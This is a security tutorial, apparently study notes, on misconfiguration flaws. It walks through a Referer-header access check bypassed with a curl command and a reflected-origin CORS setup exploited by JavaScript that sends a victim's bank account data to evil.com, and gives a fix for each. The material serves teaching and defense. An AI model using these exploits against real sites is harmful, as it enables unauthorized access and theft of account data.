# Security Misconfiguration

this one isn't about broken code or flawed design logic, it's about **systems that are technically correct but set up carelessly or with unsafe defaults left in place.**

### The core idea

Software, servers, and frameworks all ship with default settings — and those defaults are often chosen for ease of setup, not security. Security misconfiguration happens when those defaults, or careless setup choices, make it into production untouched.

### Common examples

**1\. Default credentials left active** : Admin panels, databases, IoT devices — many ship with `admin:admin` or `admin:password` out of the box, meant to be changed on first setup. Often, they aren't.

**2\. Verbose error messages in production** : Remember your error-based SQL injection lab? That app displaying full database error messages to users is itself a misconfiguration — stack traces, file paths, database structure leaking to anyone who triggers an error, information that should only ever be logged internally, never shown to an end user.

**3\. Unnecessary features/services left enabled:** A server shipping with directory listing enabled (visiting a folder URL shows every file in it, rather than a 403), debug endpoints left accessible in production, admin interfaces reachable without being firewalled off.

**4\. Overly permissive CORS configuration:** A misconfigured `Access-Control-Allow-Origin: *` (or reflecting any origin) on an API that also allows credentials — lets *any* website make authenticated requests on a victim's behalf, since the browser's normal cross-origin protections were explicitly disabled.

**5\. Cloud storage misconfiguration** : Publicly-readable/writable S3 buckets or similar cloud storage — a huge, extremely common real-world source of major breaches, purely from a checkbox/permission setting left wrong.

**6\. Outdated software with known default configs:** Running an old version of a CMS/framework with a known, documented default admin path or default secret key that was never rotated.

### How you'd test for it

Less about clever payloads, more about **checking whether defaults were changed and whether things are exposed that shouldn't be** — trying default credentials, checking for verbose errors, looking for exposed config/debug endpoints, checking CORS headers.

## Scenario 1: Referer-Based Access Control

**The setup:** an admin panel at `/admin`. The app's access control logic checks one specific thing before letting you in: the `Referer` **header** on your request.

For context — the `Referer` header is a piece of information your browser automatically sends, indicating *what page you clicked from* to arrive at the current request. If you click a link on `nimbus.com/dashboard` that takes you to `nimbus.com/admin`, your browser sends:

```plaintext
Referer: https://nimbus.com/dashboard
```

**The app's logic, as designed:**

```javascript
app.get('/admin', (req, res) => {
  const referer = req.headers.referer;
  if (referer && referer.includes('nimbus.com/dashboard')) {
    return res.render('admin-panel');
  }
  res.status(403).send('Forbidden');
});
```

The reasoning behind this design: *"Only legitimate admin users would ever arrive at* `/admin` *by clicking the actual admin link from the dashboard — so checking where the request came from proves they're authorized."*

**What's wrong with this, once you actually question the assumption (same skepticism you've been applying):** the `Referer` header is **entirely set by the client's browser, and can be freely faked.** It's not a token issued by the server, not tied to a session, not cryptographically anything — it's just a string your browser voluntarily includes, based purely on client-side navigation history. Nothing stops someone from crafting a request by hand (via `curl`, or just editing headers) that includes any `Referer` value they want, whether or not they actually came from that page.

**The exploit:**

```bash
curl -H "Referer: https://nimbus.com/dashboard" https://nimbus.com/admin
```

That's it. You just typed the exact string the check was looking for, and the server has no way to verify it's telling the truth — full admin access, no actual navigation from the dashboard required at all.

## Why this is Security Misconfiguration specifically, not Broken Access Control

Good distinction worth being precise about, since they're closely related. This *is* technically an access control failure in effect — but it's categorized as misconfiguration because the **root cause is a fundamentally unsound configuration choice**: relying on a client-controlled, unauthenticated header as if it were a trustworthy security signal. It's less "we forgot to check permissions" (broken access control) and more "we checked *something*, but the thing we chose to check was never capable of proving what we needed it to prove" — a flawed choice of *mechanism*, which is the hallmark of misconfiguration.

## The common mistake, precisely named

**Treating any client-supplied header, cookie, or value as inherently trustworthy just because it's "usually" set correctly by normal browser behavior.** The `Referer` header is genuinely, reliably sent by real browsers during normal navigation — that's true. But "usually true in normal use" and "cryptographically guaranteed, cannot be faked" are completely different properties, and this design conflated them.

## The fix

Access control decisions must be based on something the server actually controls and can verify — a valid, authenticated session tied to a user whose role was checked against a database, exactly like the correct patterns from your very first week. `Referer` (or any client-supplied header) should never be a security boundary — at most, it's a weak signal useful for analytics, never for authorization.

* * *

## CORS Misconfiguration

Browsers have a built-in protection called the **Same-Origin Policy** — by default, JavaScript running on `evil.com` **cannot** read data from `bank.com`, even if your browser is logged into `bank.com` in another tab. This exists specifically to stop a malicious site from silently making authenticated requests to other sites on your behalf and reading the responses.

**CORS (Cross-Origin Resource Sharing)** is the *deliberate, controlled exception* to that rule — a way for a server to say: "actually, I'm fine with *this specific other domain* reading my responses." It's implemented via a response header:

```plaintext
Access-Control-Allow-Origin: https://trusted-partner.com
```

This tells the browser: "if `trusted-partner.com` is the one asking, let its JavaScript read this response." Completely reasonable and necessary — lots of legitimate cross-domain integrations need this.

## Scenario 2: "Nimbus Bank" — Overly Permissive CORS

**The setup:** Nimbus Bank has an API endpoint that returns the logged-in user's account details:

```plaintext
GET /api/account-details
```

Authenticated via a session cookie, same as everything you've worked with.

**The misconfiguration:** instead of allowlisting specific trusted domains, a developer implements CORS lazily — **reflecting whatever origin the request came from**, and also allowing credentials:

```javascript
app.use((req, res, next) => {
  res.header('Access-Control-Allow-Origin', req.headers.origin); // reflects ANY origin
  res.header('Access-Control-Allow-Credentials', 'true');
  next();
});
```

**What the developer likely intended:** *"I just want this to work smoothly for our own frontend, without hardcoding a domain that might change between dev/staging/production."* A convenience shortcut, not malicious intent.

**Why this specific combination is catastrophic:** normally, even if `evil.com` tricks your browser into requesting `bank.com/api/account-details`, the Same-Origin Policy stops `evil.com`'s JavaScript from actually *reading* the response — the request might fire, but the response is invisible to the malicious script. **This CORS config removes that entire protection**, because it explicitly tells the browser "yes, whichever origin is asking, you're allowed to read the response" — and `Allow-Credentials: true` on top means your **actual logged-in session cookie** gets sent along automatically, since your browser attaches cookies to `bank.com` requests regardless of which site initiated them.

**The exploit — walked through step by step:**

1.  You're logged into `nimbus-bank.com` in one tab (valid session cookie present)
    
2.  You visit `evil.com` in another tab , Nobody's website "naturally" tries to access another website for no reason — you're right that would make no sense. The attacker deliberately creates evil.com. Maybe it's disguised as something enticing — a free game, a meme site, a fake "you won a prize" page, a cracked software download. Its entire purpose is to lure a victim into visiting it. Once you're there, the page runs JavaScript the attacker wrote themselves, hidden in the page's code, that you never see and never agreed to., which has this hidden JavaScript running:
    

```javascript
fetch('https://nimbus-bank.com/api/account-details', { credentials: 'include' })
  .then(res => res.json())
  .then(data => {
    fetch('https://evil.com/steal?data=' + JSON.stringify(data));
  });
```

3.  Your browser sends the request to `nimbus-bank.com` — **including your real session cookie**, since cookies are attached per-domain, not per-tab
    
4.  `nimbus-bank.com`'s server processes it normally, sees a valid session, returns your real account data
    
5.  Because of the reflected `Access-Control-Allow-Origin` + `Allow-Credentials: true`, the browser lets `evil.com`'s JavaScript **read that response**
    
6.  `evil.com` immediately exfiltrates your account details to its own server
    

**You never clicked anything suspicious, never entered credentials anywhere on** `evil.com` — just having that tab open while logged into your bank in another tab was enough.

## The common mistake, precisely named

**Reflecting the request's own** `Origin` **header back as the allowed origin, instead of checking it against an actual allowlist.** It *feels* like it's doing something — it's not blank, it's not `*` — so it can pass a superficial glance. But dynamically saying "yes" to literally whatever domain asks is functionally identical to having no restriction at all, just with extra steps that make it *look* configured.

## The fix

```javascript
const allowedOrigins = ['https://app.nimbus-bank.com', 'https://partner.nimbus-bank.com'];

app.use((req, res, next) => {
  const origin = req.headers.origin;
  if (allowedOrigins.includes(origin)) {
    res.header('Access-Control-Allow-Origin', origin);
    res.header('Access-Control-Allow-Credentials', 'true');
  }
  next();
});
```

Now only genuinely trusted, pre-approved domains get the "yes, you may read this" response — `evil.com` simply isn't on the list, so the browser's default Same-Origin protection stays intact for anyone else.

* * *
